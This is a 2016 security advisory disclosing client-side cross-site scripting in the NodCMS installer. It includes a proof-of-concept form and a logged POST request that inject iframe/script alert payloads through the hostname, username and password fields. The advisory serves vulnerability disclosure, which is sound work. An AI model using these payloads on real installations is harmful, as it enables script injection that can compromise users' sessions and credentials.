NodCMS Installer Client-Side Cross Site Scripting
Posted on 23 November 2016
===================================================== [#] Exploit Title : NodCMS Installer - Multiples Cross Site Web Vulnerability [#] Date Discovered : 2016-11-10 [#] Affected Product(s): NodCMS Installer - Content Management System [#] Exploitation Technique: Remote [#] Severity Level: Low [#] Tested OS : Windows 10 ===================================================== [#] Product & Service Introduction: =================================== NodCMS is one of thousands "PHP CMS" in world wide web, but it has some differences, that maybe for you is better and easier to use. "NodCMS" use one of popular and powerful php framework "Codeigniter", this reason make it more Objective. Also "MVC" Model View Controller structure of nodCMS make it so understandable and easily to maintenance and update. (Copy of the Vendor Homepage: http://www.nodcms.com/ ) [#] Technical Details & Description: ==================================== A client-side cross site scripting web vulnerability has been discovered in the official NodCMS Installer content management system. The web vulnerability allows remote attacker to inject own malicious script codes on the client-side of the vulnerable module or service. A client-side cross site scripting web vulnerability is located in the input `hostname`,` Username`, `password`. The web vulnerability could allow an attacker to execute JavaScript in the user's Web browser or administrator to compromise the information and installing the CMS Request Method(s): [+] POST Vulnerable Module(s): [+] Add (Input) Vulnerable Parameter(s): [+] hostname [+] username [+] password [#] Proof of Concept (PoC): =========================== The vulnerability can be exploited by remote attackers without privileged user account and with low user interaction. For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue. -- PoC Source Exploit -- <h1 class="hicon connection">Server Connection</h1> <form name="form2" action="index.php" method="post"> <input type="hidden" id="step" name="step" value="dbselection" /> <h3>Hostname:</h3> <div class="textbox"><input type="text" id="hostname" name="hostname" value=""'/>><iframe src="data:text/html,<script>alert(1)</script>"></iframe>" /></div> <h3>Username:</h3> <div class="textbox"><input type="text" id="username" name="username" value=""'/>><iframe src="data:text/html,<script>alert(2)</script>"></iframe>" /></div> <h3>Password:</h3> <div class="textbox"><input type="password" id="password" name="password" value=""'/>><iframe src="data:text/html,<script>alert(3)</script>"></iframe>" /></div> <button type="button" class="btn" name="button" onClick="javascript:location.href='?step=welcomemsg'" >Back</button> <input type="submit" class="btn" name="submit" value="Next" /> </form> --- PoC Session Logs [POST] --- Status: 200 [OK] Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:49.0) Gecko/20100101 Firefox/49.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://127.0.0.1/site/install/index.php Cookie: PHPSESSID=h47aqhre3mdgr30e6jaqr0vuj7 Connection: keep-alive Method POST : step=dbselection&hostname=%22%27%2F%3E%3E%3Ciframe+src%3D%22data%3Atext%2Fhtml%2C%3Cscript%3Ealert%281%29%3C%2Fscript%3E%22%3E%3C%2Fiframe%3E&username=%22%27%2F%3E%3E%3Ciframe+src%3D%22data%3Atext%2Fhtml%2C%3Cscript%3Ealert%282%29%3C%2Fscript%3E%22%3E%3C%2Fiframe%3E&password=%22%27%2F%3E%3E%3Ciframe+src%3D%22data%3Atext%2Fhtml%2C%3Cscript%3Ealert%283%29%3C%2Fscript%3E%22%3E%3C%2Fiframe%3E&submit=Next [#] Vulnerability Disclosure Timeline: ====================================== 2016-11-10 : Discovery of the Vulnerability 2016-11-10 : Contact the Vendor (No Response Support Team) 2016-11-22 : Public Disclosure [#] Disclaimer: =============== Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and prohibits any malicious use of all security related information or exploits by the author or elsewhere. Domain: www.zwx.fr Contact: msk4@live.fr Social: twitter.com/XSSed.fr Feeds: www.zwx.fr/feed/ Advisory: www.vulnerability-lab.com/show.php?user=ZwX packetstormsecurity.com/files/author/12026/ cxsecurity.com/search/author/DESC/AND/FIND/0/10/ZwX/ iedb.ir/author-ZwX.html 0day.today/author/27461 Copyright (c) 2016 | ZwX - Security Researcher (Software & web application)
